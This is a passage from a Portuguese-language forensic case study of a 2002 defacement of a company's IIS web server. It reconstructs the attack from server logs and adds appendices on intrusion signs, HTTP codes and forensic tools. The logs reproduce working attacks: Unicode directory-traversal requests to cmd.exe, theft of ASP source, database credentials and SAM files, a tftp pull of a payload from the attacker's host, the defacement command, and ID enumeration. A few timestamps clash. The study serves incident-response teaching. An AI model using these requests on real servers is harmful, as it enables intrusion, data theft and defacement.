/scripts/..\..\winnt/system32/cmd.exe?/c+dir 500
```

```
2002-03-26 22:04:11 200.165.19.23 GET
/scripts/..ö€€^../winnt/system32/cmd.exe?/c+dir 500
2002-03-26 22:04:12 200.165.19.23 GET
/scripts/..ø€€€^../winnt/system32/cmd.exe?/c+dir 500
2002-03-26 22:04:14 200.165.19.23 GET
/scripts/..ü€€€€^../winnt/system32/cmd.exe?/c+dir 500
2002-03-26 22:04:15 200.165.19.23 GET
/msadc/../../../../../../../../winnt/system32/cmd.exe?/c+dir 500
2002-03-26 22:04:17 200.165.19.23 GET
bin/../../../../../../../../winnt/system32/cmd.exe?/c+dir 500
2002-03-26 22:04:18 200.165.19.23 GET
/samples/../../../../../../../../winnt/system32/cmd.exe?/c+dir 500
2002-03-26 22:04:19 200.165.19.23 GET
/_vti_cnf/../../../../../../../../winnt/system32/cmd.exe?/c+dir 500
2002-03-26 22:04:20 200.165.19.23 GET
/_vti_bin/../../../../../../../../winnt/system32/cmd.exe?/c+dir 500
```

Observe também as datas das varreduras em busca de vulnerabilidades, 26 de março, o dia anterior ao ataque. Agora já se consegue montar a primeira parte da história. O hacker primeiro espelha o site da empresa para possíveis estudos (25/03/2002) e depois varre o servidor para determinar se era vulnerável a alguma exploração (26/03/2002).

Encontrando a Vulnerabilidade

O primeiro indício do ataque foi encontrado no dia anterior ao defacement (às 23:45:32) no arquivo ex020326.log, o dia em que o Hacker descobriu a vulnerabilidade no servidor Web, vulnerabilidade esta denominada Unicode Bug.

Unicode Bug

O invasor explora uma vulnerabilidade no IIS advinda de uma falha de programação, que permite através de uma linha de comando no browser ou através de um exploit, visualizar e alterar o conteúdo de um servidor Windows NT/2000.

Os registros encontrados nos arquivos de logs demonstrando os ataques serão denominados de “*Registro da ocorrência*” e algumas telas de respostas obtidas pelo Hacker serão chamadas como “*Resposta obtida*”.

O invasor descobre a vulnerabilidade de Unicode no servidor da empresa.

Registro da ocorrência:

```
2002-03-26 23:45:32 200.165.19.23 GET  
/scripts/...%c0%9v../winnt/system32/cmd.exe?/c+dir 200
```

Durante algumas horas o invasor não volta a atacar, provavelmente planeja quais informações procurar e qual o plano a seguir.

O Ataque

Com a descoberta da vulnerabilidade no dia anterior, o Hacker começa a explorar o servidor em busca de informações, o primeiro registro encontrado no dia 27/03 é uma listagem no diretório c:\winnt\system32 às 03:23:51, o mesmo tipo de registro encontrado anteriormente.

Registro da ocorrência:

```
2002-03-27 03:23:51 200.165.19.23 GET  
/scripts/...%c0%9v../winnt/system32/cmd.exe?/c+dir 200
```

Resposta obtida:

Pasta de c:\winnt\system32

```
14/01/2002 09:07      <DIR>      .
14/01/2002 09:07      <DIR>      ..
15/02/2002 16:37                301 $winnt$.inf
23/01/2000 22:00            32.528 aaaamon.dll
23/01/2000 22:00            69.904 access.cpl
13/09/2001 17:00            71.168 acctres.dll
23/01/2000 22:00           154.896 accwiz.exe
23/01/2000 22:00            61.952 acelpdec.ax
15/12/2001 13:34      <DIR>      Config
...
    1929 arquivo(s)  258.173.466 bytes
    33 pasta(s)    1.784.097.664 bytes disponíveis
```

Com o total acesso ao servidor, o invasor procura saber onde se hospeda o site da empresa, listando a raiz do servidor.

Registro da ocorrência:

```
2002-03-27 03:24:45 200.165.19.23 GET
/scripts/...%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\ 200
```

Resposta obtida:

Pasta de c:\

```
07/01/2002 17:54      <DIR>      Arquivos de programas
06/01/2001 15:33                69 DOCUMENT
16/02/2002 10:06      <DIR>      Documents and Settings
20/03/2002 10:17      <DIR>      DrWatson
15/03/2001 17:10      <DIR>      Inetpub
07/06/2001 15:59      <DIR>      mspclnt
15/05/2001 13:42      <DIR>      Sites
20/06/2001 14:14      <DIR>      temp
07/11/2001 17:39      <DIR>      usr
07/11/2001 17:54      <DIR>      WINNT
    1 arquivo(s)      69 bytes
    9 pasta(s)    1.785.602.048 bytes disponíveis
```

Por padrão, se hospedam os Web Sites no diretório c:\inetpub\wwwroot\, mas o invasor descobre que o administrador não usa a instalação default pois dentro do diretório wwwroot não há nenhum arquivo.

Registro da ocorrência:

```
2002-03-26 03:25:53 200.165.19.23 GET
/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\inetpub\wwwroot 200
```

Resposta obtida:

Pasta de c:\inetpub\wwwroot

```
15/03/2001 17:10 <DIR> .
15/03/2001 17:10 <DIR> ..
                0 arquivo(s)                0 bytes
                2 pasta(s) 1.785.491.456 bytes disponíveis
```

O Hacker lista mais alguns diretórios (usr, temp) a procura do Web Site ou de informações que sejam importantes...

Registros da ocorrência:

```
2002-03-27 03:26:03 200.165.19.23 GET
/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\usr 200
2002-03-27 03:27:33 200.165.19.23 GET
/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\temp 200
```

.. e descobre onde está o site da empresa, no diretório Sites.

Registro da ocorrência:

```
2002-03-27 03:28:11 200.165.19.23 GET
/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\sites 200
```

Resposta obtida:

Pasta de C:\Sites

```
15/05/2001 13:08 <DIR> .
15/05/2001 13:08 <DIR> ..
20/05/2001 11:37 <DIR> Base
24/05/2001 15:07 <DIR> Imagens
29/05/2001 11:49          208 default.asp
12/11/2001 15:46 <DIR> Pagamentos
20/05/2001 11:37 <DIR> Projetos
12/08/2001 17:14 <DIR> SiteSeguro
31/02/2002 12:32          1.100 global.asa
26/03/2002 15:04          2.286 principal.asp
          3 arquivo(s)          3.594 bytes
          7 pasta(s) 1.785.126.912 bytes disponíveis
```

Para facilitar seu trabalho de digitação das linhas de comando, o invasor copia o programa cmd.exe do diretório c:\winnt\system32 para dentro do diretório do site, c:\sites, (provavelmente ele usou algum exploit para encontrar a vulnerabilidade, mas para poder continuar a explorar o servidor é necessário digitar manualmente os comandos).

```
C:\ ---
  |-- Sites/
  |-- InetPub/
  |         |-- wwwroot/
  |         |-- scripts/
  |-- winnt/
  |         |-- system32/cmd.exe
```

Figura 1

Cmd

Interpretador de comandos do Windows.

Registro da ocorrência:

```
2002-03-27 03:30:22 200.165.19.23 GET  
/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c  
:\sites\cmd.exe 200
```

O Web Site da empresa foi todo elaborado usando a tecnologia ASP (Active Server Pages) da Microsoft, as páginas são processadas no servidor e enviadas aos usuários no formato html, portanto um cliente (browser) não tem acesso ao código-fonte da programação ASP.

Sabendo que não seria possível visualizar o código fonte das páginas em ASP, o invasor copia as páginas renomeando-as para uma outra extensão e depois visualiza seu conteúdo. A extensão escolhida pelo Hacker foi do tipo doc, que pode ser visualizada em qualquer browser, porém, se tivesse escolhido um outro formato como html ou txt nada apareceria em sua tela, mas não quer dizer que estaria errado, somente seria mais trabalhoso para visualizar o conteúdo da página, pois teria que no browser escolher a opção “Exibir código fonte”.

O invasor cria um documento na raiz do site com o nome de pagamento.doc contendo todo o conteúdo da página de programação pagamento.asp, este arquivo contém todo o processo e inteligência do sistema de pagamento on-line da empresa (depósitos, boletos e cartões de créditos).

Registro da ocorrência:

```
2002-03-27 03:34:01 200.165.19.23 GET  
/cmd.exe?/c+type+c:\Sites\pagamento\pagamento.asp+>+pagamento.doc 200  
2002-03-27 03:34:33 200.165.19.23 GET /pagamento.doc 200
```

Cria também uma cópia do arquivo Global.asa e visualiza o arquivo. Após conversarmos com o desenvolvedor do site, descobrimos que no arquivo Global.asa se encontram o login e a senha de acesso ao Banco de Dados corporativo.

Global.asa

Um arquivo Global.asa armazena informações usadas de maneira global por um aplicativo da Web e não gera conteúdo que é exibido para o usuário. Os arquivos Global.asa contêm somente o seguinte : eventos de aplicativos, eventos de sessões, declarações de objeto e declarações de biblioteca de tipos. Cada site da Web deveria usar somente um arquivo Global.asa que deve ser armazenado no ponto inicial do aplicativo da Web.

Registros da ocorrência:

```
2002-03-27 03:33:09 200.165.19.23 GET /cmd.exe?/c+type+global.asa+>+global.doc
200
2002-03-27 03:33:25 200.165.19.23 GET /global.doc 200
```

Procura por arquivos de banco de dados.

Registros da ocorrência:

```
2002-03-27 03:35:26 200.165.19.23 GET /sites/cmd.exe?/c+dir+/S+*.mdb 200
2002-03-27 03:35:56 200.165.19.23 GET /sites/cmd.exe?/c+dir+/S+*.sql 200
```

Respostas obtida:

Pasta de C:\Sites\Base

```
14/06/2001 15:12          61.440 Clientes.mdb
21/05/2001 13:07          163.340 Financeiro.mdb
                2 arquivo(s)          224.780 bytes
```

```
Total de arquivos na lista:
    2 arquivo(s)          224.780 bytes
    0 pasta(s)  1.783.767.040 bytes disponíveis
```

Pasta de C:\Sites\Base

```
14/06/2001 15:10          440 clientes.sql
                1 arquivo(s)          440 bytes
```

```
Total de arquivos na lista:
    1 arquivo(s)          440 bytes
    0 pasta(s)  1.783.767.040 bytes disponíveis
```

Nota-se que alguns minutos depois de descobrir a existência de informações importantes (bancos de dados e instruções sql), várias outras máquinas diferentes (ips diferentes) copiam os arquivos.

Registros da ocorrência:

```
2002-03-27 03:38:03 200.175.12.120 GET /sites/base/clientes.sql 200
2002-03-27 03:38:45 200.175.12.120 GET /sites/base/financeiro.mdb 200
2002-03-27 03:39:01 68.133.2.55 GET /sites/base/clientes.mdb 200
2002-03-27 03:40:09 68.133.2.55 GET /sites/base/financeiro.mdb 200
2002-03-27 03:40:55 200.192.45.7 GET /sites/base/clientes.mdb 200
2002-03-27 03:40:09 200.192.45.7 GET /sites/base/financeiro.mdb 200
2002-03-27 03:41:36 63.236.32.33 GET /sites/base/clientes.mdb 200
2002-03-27 03:41:55 63.236.32.33 GET /sites/base/financeiro.mdb 200
2002-03-27 03:42:26 200.165.19.23 GET /sites/base/clientes.mdb 200
```

O Hacker continua procurando por outros tipos de documentos (doc, pdf, xls, ppt).

Registros da ocorrência:

```
2002-03-27 03:39:22 200.165.19.23 GET /sites/cmd1.exe /c+dir+/S+*.doc 200
```

```
2002-03-27 03:39:52 200.165.19.23 GET /sites/cmd1.exe /c+dir+/S+*.pdf 200
2002-03-27 03:40:02 200.165.19.23 GET /sites/cmd1.exe /c+dir+/S+*.xls 200
2002-03-27 03:40:29 200.165.19.23 GET /sites/cmd1.exe /c+dir+/S+*.ppt 200
```

Copia para um arquivo do tipo texto a resposta da listagem e depois verifica o resultado.

Registros da ocorrência:

```
2002-03-27 03:41:45 200.165.19.23 GET
/sites/cmd.exe/c+dir+c:\sites\*. *+>+c:\sites\dir1.txt 502
2002-03-27 03:42:01 200.165.19.23 GET /sites/dir1.txt 200
```

Dentro do diretório repair do Windows encontram-se arquivos importantes para a recuperação do sistema em caso de falha, um deles é o sam. Através de um software específico (LOpht Crack) é possível o Hacker saber as senhas dos usuários do sistema operacional inclusive a senha do Administrador.

Registro da ocorrência:

```
2002-03-27 03:44:45 200.165.19.23 GET /sites/cmd.exe/c+dir+c:\winnt\repair\
200
```

Resposta obtida:

Pasta de c:\winnt\repair

```
15/05/2001 16:51 <DIR> .
15/05/2001 16:51 <DIR> ..
23/01/2000 22:00 515 autoexec.nt
25/08/2001 13:50 2.969 config.nt
15/05/2001 16:35 118.784 default
10/03/2002 14:55 20.480 sam
15/05/2001 16:51 522.946 secsetup.inf
15/05/2001 16:55 16.384 security
15/05/2001 16:48 142.083 setup.log
15/05/2001 16:55 5.873.664 software
15/05/2001 16:55 1.077.248 system
```

9 arquivo(s) 7.775.073 bytes
2 pasta(s) 1.784.049.664 bytes disponíveis

Lista o diretório meus documentos à procura de informações confidenciais.

Registro da ocorrência:

```
2002-03-27 04:02:52 200.165.19.23 GET  
/cmd1.exe?/c+dir%20c:\Documents%20and%20Settings\usuario\Meus+documentos 200
```

Cria outro arquivo texto contendo a listagem de toda a estrutura do servidor e seus arquivos.

Registro da ocorrência:

```
2002-03-27 04:03:39 200.165.19.23 GET /sites/cmd1.exe?/c+dir+>+teste.zen 502  
(dir / S)
```

Copia o arquivo TFTP do diretório c:\winnt\system32 para dentro do site e tenta se comunicar com sua máquina (provavelmente tenta copiar algum backdoor para o servidor) mas o resultado foi negativo.

Registros da ocorrência:

```
2002-03-27 04:05:27 200.165.19.23 GET  
/sites/cmd1.exe?/c+copy+c:\\winnt\system32\tftp.exe+c:\sites 502  
2002-03-27 04:05:55 200.165.19.23 GET /sites/tftp.exe+"-  
i"+200.165.19.23+GET+php.exe+c:/sites - 404
```

No registro abaixo o invasor faz a alteração (defacement) da página principal do Web Site, e verifica se foi hackeada com sucesso.

Registros da ocorrência:

```
2002-03-27 04:07:07 200.165.19.23 GET
/cmd.exe?/c+echo+Pagina+hackeada+em+27/03/2002!!!+>+c:\sites\default.htm 200
2002-03-27 04:07:33 200.165.19.23 GET /sites/default.htm 200
```

Após alterar a página principal do Web site, o Hacker procura pelos arquivos de Log para poder excluí-los e apagar por definitivo seus rastros, felizmente os arquivos não estão em seu diretório padrão c:\winnt\system32\LogFiles\W3SVC1

Registro da ocorrência:

```
2002-03-27 04:09:13 200.165.19.23 GET /sites/cmd.exe?/c+dir+/S+c:\*W3SVC* 200
```

Resposta obtida:

Pasta de c:\WINNT\ServicePackFiles\i386

```
19/07/2001 05:34          348.944 w3svc.dll
          1 arquivo(s)          348.944 bytes
```

Pasta de c:\WINNT\system32\inetrv

```
15/03/2001 10:13          355.088 w3svc.dll
          1 arquivo(s)          355.088 bytes
```

Pasta de c:\WINNT\system32\LogFiles

```
16/03/2001 18:46          <DIR>          W3SVC1
          0 arquivo(s)          0 bytes
```

Total de arquivos na lista:

```
          2 arquivo(s)          704.032 bytes
          1 pasta(s) 1.783.726.080 bytes disponíveis
```

Registro da ocorrência:

```
2002-03-27 04:09:33 200.165.19.23 GET
/cmd.exe?/c+dir+/S+c:\winnt\system32\logfiles\W3SVC1 200
```


Usuários tentando se conectar a servidores de IRC (Internet Relay Chat) inexistentes.

Registros da ocorrência:

```
2002-03-28 16:58:39 60.121.23.163 GET
http://irc.vitimadoataque.com.br/12345.html 404
2002-03-28 16:59:03 60.121.23.163 CONNECT irc.vitimadoataque.com.br:6667 405
```

Página desenvolvida em PHP não encontrada em um servidor Microsoft IIS onde todos os sistemas são desenvolvidos em ASP.

Registro da ocorrência:

```
2002-03-25 13:02:42 200.81.162.106 GET /default.php 401
```

Erros encontrados no desenvolvimento do sistema gerencial da empresa (erros na programação ASP, XML e de acesso a banco de dados).

Registros da ocorrência:

```
2002-03-25 12:28:24 192.168.1.140 GET
/sites/projetos/print.asp?Codigo=24553&Tipo=1|-|0|404_Objeto_não_encontrado
404

2002-03-25 18:01:41 192.168.1.140 GET /sites/projetos/grafico.asp
|1931|800a000d|Tipos_incompatíveis:_'rs3' 500

2002-03-26 17:03:40 192.168.1.140 GET /sites/projetos/dominio.asp
|31|800a01b6|O_objeto_não_dá_suporte_para_a_propriedade_ou_método:_'MachineNam
e' 500

2002-03-26 17:16:58 192.168.1.140 GET /sites/sitesseguro/testedominio.asp
|59|800a01c2|Número_de_argumentos_incorreto_ou_atribuição_de_propriedade_invál
ida:_'DomainObj' 500
```

```
2002-03-27 17:07:55 192.168.1.210 GET /sites/sitesseguro/email.asp
|637|800a03f9|'Then'_esperado 500

2002-03-27 17:44:47 192.168.1.210 GET /sites/pagamentos/xml.asp
|10|80004005|A_folha_de_estilos_não_contém_um_elemento_de_documento._Ela_pode_
estar_vazia_ou_não_ser_um_documento_XML_bem_formado.__ 500

2002-03-27 18:41:39 192.168.1.210 GET /sites/pagamentos/pagar.asp
|19|80004005|[Microsoft][ODBC_SQL_Server_Driver][DBNETLIB]SQL_Server_does_not_
exist_or_access_denied. 500

2002-03-28 14:07:15 192.168.1.210 GET /sites/pagamentos/cartao.asp
|127|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Invalid_column_na
me_'Origem'. 500

2002-03-28 17:33:02 192.168.1.210 POST /sites/pagamentos/pagamento.asp
|31|80004005|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Cannot_open_databa
se_requested_in_login_'xxxxx'._Login_fails. 500
```

Envio de informações criptografadas ao sistema de pagamentos.

Registro da ocorrência:

```
2002-03-25 11:40:54 192.168.1.140 GET /sites/pagamentos/seguro.asp?
crypt=e%87z%93%BA%97%D0%B3Z%7B%8B%95%B3%B9%A6%9C%86%95%84x%8A%8Bx%A1%A81%BC%BD
%B2 200
```

Descobrimos na análise, um outro tipo de ataque que estava ocorrendo no Web Site da empresa, um ataque de difícil percepção e ocasionada por erros de desenvolvimento, denominado “ataque a nível de aplicativo”. Abaixo apresentamos uma seqüência do funcionamento normal do sistema.

Registros da ocorrência:

```
2002-03-26 20:33:57 192.168.1.243 GET /Default.asp 200
2002-03-26 20:34:04 192.168.1.243 GET /principal.asp 200
2002-03-26 20:34:21 192.168.1.243 POST /projetos/consulta.asp 200
2002-03-26 20:34:24 192.168.1.243 GET /projetos/resposta.asp 200
2002-03-26 20:35:27 192.168.1.243 GET /projetos/grafico.asp 200
2002-03-26 20:37:22 192.168.1.243 GET /projetos/extrato.asp?Codigo=24552 200
```

Em um funcionamento normal, para cada consulta realizada no sistema, há uma resposta, um gráfico e a possibilidade de se executar a mesma consulta no modo extrato, porém, um usuário mal intencionado pode através da inserção de códigos na URL alterar o código da consulta e visualizar as respostas pertencentes a outros usuários. Método pelo qual o sistema não deveria permitir.

Ataque em nível de aplicativo sendo comprovado no arquivo de log.

Registros da ocorrência:

```
2002-03-27 12:22:45 200.165.19.23 GET /Default.asp 200
2002-03-27 12:22:56 200.165.19.23 GET /principal.asp 200
2002-03-27 12:23:11 200.165.19.23 POST /projetos/consulta.asp 200
2002-03-27 12:23:16 200.165.19.23 GET /projetos/resposta.asp 200
2002-03-27 12:23:22 200.165.19.23 GET /projetos/grafico.asp 200
2002-03-27 12:24:12 200.165.19.23 GET /projetos/extrato.asp?Codigo=24552 200
2002-03-27 12:24:22 200.165.19.23 GET /projetos/extrato.asp?Codigo=24553 200
2002-03-27 12:25:28 200.165.19.23 GET /projetos/extrato.asp?Codigo=24554 200
2002-03-27 12:25:32 200.165.19.23 GET /projetos/extrato.asp?Codigo=24555 200
2002-03-27 12:25:37 200.165.19.23 GET /projetos/extrato.asp?Codigo=24556 200
2002-03-27 12:25:48 200.165.19.23 GET /projetos/extrato.asp?Codigo=24557 200
2002-03-27 12:25:59 200.165.19.23 GET /projetos/extrato.asp?Codigo=24558 200
2002-11-27 12:26:17 200.165.19.23 GET /projetos/extrato.asp?Codigo=24559 200
2002-11-27 12:26:29 200.165.19.23 GET /projetos/extrato.asp?Codigo=24560 200
```

Conclusão

Com os avanços tecnológicos nas comunicações e a troca de informações entre empresas e corporações, os crimes relacionados com informática se espalharam. As ofensas Hi-tech tais como os Hackers, vírus, fraudes eletrônicas na Internet e do abuso do E-mail continuarão a aumentar nos próximos anos.

Muitas empresas oferecerão treinamentos na aquisição, na examinação e na utilização apropriada da evidência eletrônica. Não poder usar a informação coletada perante o juiz é pior do que não ter uma prova.

O campo da Perícia Forense aplicada em Sistemas Computacionais continuará a crescer e começaremos a ver empresas com os detetives digitais treinados na equipe de funcionários, a combater não somente ameaças externas e internas mas também a analisar e preparar procedimentos e aplicações protetoras para a empresa.

Bibliografia

- » Stephen Northcutt, Mark Cooper, Mat Fearnow, Karen Frederick : “Intrusion Signatures and Analysis”, Editora Sans Giac, New Riders, 2001, Indianápolis, Indiana, EUA.

- » Stephen Northcutt : “Como detectar invasão em rede – um guia para analistas”, Editora Ciência Moderna, 2000, Rio de Janeiro, RJ, Brasil.

- » Joel Scambray, Stuart McLure, George Kurtz: “Hackers Expostos – Segredos e Soluções para a Segurança de Redes”, 2ª Edição, Editora Makron Books, 2001, São Paulo, SP, Brasil.

- » Kevin Mandia, Chris Prosis: “Hackers resposta e contra-ataque – Investigando crimes por computador”, Editora Campus, 2001, Rio de Janeiro, RJ, Brasil.

- » Kelli Adam: “IIS 5 – Administração do Internet Information Services”, Editora Campus, 2000, Rio de Janeiro, RJ, Brasil.

- » Microsoft Press: “Microsoft Windows NT Server 4.0 Resource Kit”, Editora Makron Books, 1998, São Paulo, SP, Brasil.

- » Sidney Galeote: “Construindo Intranet com Windows NT 4.0” , Editora Erica, 1997, São Paulo, SP, Brasil.

- » Peter Davis, Barry Lewis: “Aprenda em 14 dias Windows NT Server 4.0”, Editora Campus, 1998, Rio de Janeiro, RJ, Brasil.

- » Eduardo Bellincanta Ortiz: “Microsoft Windows 2000 Server – Instalação, configuração e implementação”, 2ª Edição, Editora Erica, 2001, São Paulo, SP, Brasil.

- » Microsoft Press, Anthony Northrup: “Introdução ao Microsoft Windows 2000 Server”, Editora Campus, 1999, Rio de Janeiro, RJ, Brasil.

- » Microsoft Press, Jerry Honeycutt: “Introdução ao Microsoft Windows 2000 Professional”, Editora Campus, 1999, Rio de Janeiro, RJ, Brasil.

- » Sean Deuby: “Windows 2000 Server – Planejamento e Migração”, Editora Makron Books, 2000, São Paulo, SP, Brasil.

- » David McMahon: “Ameaça cibernética”, Editora Market Books, 2001, São Paulo, SP, Brasil.

- » Hacking Spyman: “Manual completo do Hacker”, Editora Book Express, 2001, Rio de Janeiro, RJ, Brasil.

Anexos

Anexo 1

Como Saber que Houve uma Invasão

Quanto mais sofisticado for o hacker, menos probabilidades terá de saber que uma máquina está comprometida. hackers habilidosos encobrirão bem suas trilhas, tornando difícil perceber se executaram alguma alteração e podem ocultar o fato de que estão na máquina mesmo quando se estiver examinando. Ocultando os processos, conexões abertas, acesso a arquivos e o uso de recursos do sistema, os Hackers podem tornar suas ações quase inteiramente invisíveis.

Há, portanto, várias maneiras de detectar que uma invasão ocorreu.

Alteração de páginas Web : Uma diversão comum dos hackers iniciantes (ou daqueles que querem realmente enviar uma mensagem) é substituir o conteúdo do Web Site para anunciar sua invasão bem-sucedida. Geralmente ocorre na própria página principal, onde ela é a mais visível. Se os invasores quiserem manter o acesso, raramente anunciarão sua presença dessa ou de outras formas.

Warez – diminuição dramática do espaço em disco : Os hackers usarão freqüentemente as máquinas para armazenar Warez (versões ilegais ou hackeadas/craqueadas de software comercial), executando hacking em ferramentas, pornografia e em outros arquivos que quiserem ter disponíveis ou quiserem

compartilhar com outros. Esse espaço livre em disco tende a ser consumido rapidamente.

Alta utilização da rede : Se a atividade na rede parecer alta, mesmo quando não estiver fazendo algo, alguém pode estar usando alguma máquina para disponibilizar arquivos, ou, talvez, para invadir outra máquina via rede.

Contato proveniente de outros administradores : Se alguma máquina estiver sendo usada para executar ataques a outras máquinas, os administradores que estiverem sendo invadidos podem entrar em contato para informar este fato.

Interfaces de rede promíscuas : Se os invasores quiserem farejar qualquer uma das redes disponíveis no computador, colocarão a interface no modo promíscuo (que captura todos os pacotes).

Arquivos de registro (log) excluídos/truncados : Hackers experientes removerão as linhas individuais dos arquivos de registro que mostrem seu acesso indevido ao sistema. Um hacker iniciante pode, em vez disso, simplesmente excluir inteiramente os registros. Qualquer arquivo de registro que apresentar falta de períodos de tempo ou for apagado de maneira suspeita pode ter sido adulterado.

Arquivos utmp/wtmp danificados (Linux) : Os hackers podem eliminar suas entradas de login dos arquivos utmp e wtmp (programas como o zap, wipe e vanish2 fazem isso rapidamente) ou apagar os próprios arquivos para ocultar o fato de que se conectaram.

Novos usuários no sistema : Novos usuários no arquivo de senhas são com certeza sinais de que alguém comprometeu o sistema – mais provavelmente um hacker iniciante ou um que ache que ninguém irá perceber. Frequentemente usam nomes de usuários que são semelhantes aos existentes para torná-los menos perceptíveis.

Execução de processos estranhos : Se perceber a execução de processos que não iniciou e que não são parte do sistema, esses podem pertencer a um invasor. Verifique se o processo suspeito não é simplesmente uma parte do próprio sistema. Por exemplo, *slocate* (Linux) frequentemente causa preocupação porque usa uma boa quantidade de CPU e acesso ao disco, embora seja um recurso legítimo (porém opcional) do sistema.

Utilização inexplicável da CPU : Hackers sofisticados podem ocultar seus processos da vista ou simplesmente dar a eles nomes de programas legítimos do sistema para evitar que eles sejam facilmente detectados. Se a máquina tiver uma utilização alta da CPU ou apenas parecer lenta, pode ser que esteja sendo usada por hackers. Eles frequentemente executam programas de quebra de senhas (geralmente com o uso intensivo da CPU) em computadores invadidos em vez de os executarem em suas máquinas, aliviando-as da carga.

Usuários locais tiveram as contas remotas violadas : Um hacker frequentemente invade partindo de uma máquina para a próxima acompanhando os usuários quando esses acessam outros computadores. Invadindo a primeira máquina, o invasor pode observar essas conexões para fora e comprometer a conta na nova máquina .

O ambiente simplesmente parece estranho : A maioria das invasões que são descobertas começa quando o administrador acha que algo está errado e inicia uma busca. Às vezes, isso conduz a problemas que não estão relacionados a invasões, como uma falha no disco, memória defeituosa ou alterações não anunciadas na rede.

Anexo 2

Definições dos Códigos de Status do HTTP

Informativo (1xx)

Utilizado para enviar informações para o cliente.

100 : Continuar

101 : Troca de protocolos (Switching Protocols)

Bem-sucedido (2xx)

Indica que a solicitação (request) obteve sucesso. Por exemplo, o código 200 é utilizado para indicar que a página solicitada foi obtida, entendida e aceita com sucesso.

200 : OK

201 : Criado (Created)

202 : Aceito (Accepted)

203 : Informação não autorizada (Non-Authoritative Information)

204 : Nenhum conteúdo (No Content)

205 : Conteúdo redefinido (Reset Content)

206 : Conteúdo parcial (Partial Content)

Redirecionamento (3xx)

Indica que ações adicionais devem ser tomadas antes da solicitação (request) ser satisfeita. Por exemplo, o código 301 indica que a página foi movida e o browser será redirecionado para a nova página.

- 300 : Múltiplas opções (Multiple Choices)
- 301 : Transferido permanentemente (Moved Permanently)
- 302 : Transferido temporariamente (Moved Temporarily)
- 303 : Ver outro (See Other)
- 304 : Não modificado (Not Modified)
- 305 : Usar proxy (Use Proxy)
- 307 : Redirecionamento temporário (Temporary Redirect)

Erro de cliente (4xx)

Indica que o browser fez uma solicitação (request) que não pode ser atendida. Por exemplo, “404 – URL not found”, indica que a página solicitada foi movida ou não existe.

- 400 : Requisição errada (Bad Request)
- 401 : Não autorizado (Unauthorized)
- 402 : Necessário pagamento (Payment Required)
- 403 : Proibido (Forbidden)
- 404 : Não encontrado (Not Found)
- 405 : Método não permitido (Method Not Allowed)
- 406 : Inaceitável (Not Acceptable)

- 407 : Necessária autenticação de proxy (Proxy Authentication Required)
- 408 : Tempo de espera de requisição ultrapassado (Request Time-out)
- 409 : Conflito (Conflict)
- 410 : Foi-se (Gone)
- 411 : Comprimento requerido (Length Required)
- 412 : Falha de condição prévia (Precondition Failed)
- 413 : Entidade de requisição muito grande (Request Entity Too Large)
- 414 : URI de requisição muito extensa (Request-URI Too Large)
- 415 : Tipo de mídia não suportado (Unsupported Media Type)
- 416 : Escala requisitada não satisfatória (Requested Range Not Satisfiable)
- 417 : Expectativa falhou (Expectation Failed)

Erro de servidor (5xx)

Indica um erro no servidor. Por exemplo, o código 503 indica que o servidor tem muita solicitações (requests) para processar.

- 500 : Erro interno de servidor (Internal Server Error)
- 501 : Não implementado (Not Implemented)
- 502 : Gateway com erro (Bad Gateway)
- 503 : Serviço não disponível (Service Unavailable)
- 504 : Tempo de espera de gateway ultrapassado (Gateway Time-out)
- 505 : Versão do HTTP não suportada (HTTP Version Not Supported)

Anexo 3

Ferramentas Utilizadas na Perícia Forense

Software : Norton Ghost 2000 Personal Edition

Empresa : Symantec

Site : <http://www.symantec.com>

Software : SafeBack 2.0

Empresa : New Technologies, Inc.

Site : <http://www.forensics-intl.com>

Software : SnapBack DatArrest 4.12

Empresa : Columbia Data Products, Inc.

Site : <http://www.cdp.com>

Software : Byte Back

Empresa : Tech Assist, Inc.

Site : <http://www.toolsthatwork.com>

Software : Drive Image Pro 3.0

Empresa : PowerQuest Corporation

Site : <http://www.powerquest.com>

Software : EnCase 2.08
Empresa : Guidance Software, Inc.
Site : <http://www.guidancesoftware.com>

Software : Linux "dd" 6.1
Empresa : Red Hat Inc.
Site : <http://www.redhat.com>

Software : WinHex
Autor : Stefan Fleschmann
Site : <http://www.winhex.com>